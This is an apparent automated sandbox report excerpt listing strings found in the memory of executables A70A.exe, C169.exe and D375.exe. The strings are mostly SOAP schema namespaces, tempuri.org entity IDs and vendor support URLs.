Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, D375.exe, 0000001A.00000003.520863558.000000000154E000.00000004.00000001.sdmp, D375.exe, 0000001A.00000003.482990720.000000000154A000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: D375.exe, 0000001A.00000003.520863558.000000000154E000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092w
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Responsex
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Responsex
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.597967542.0000000002FE1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
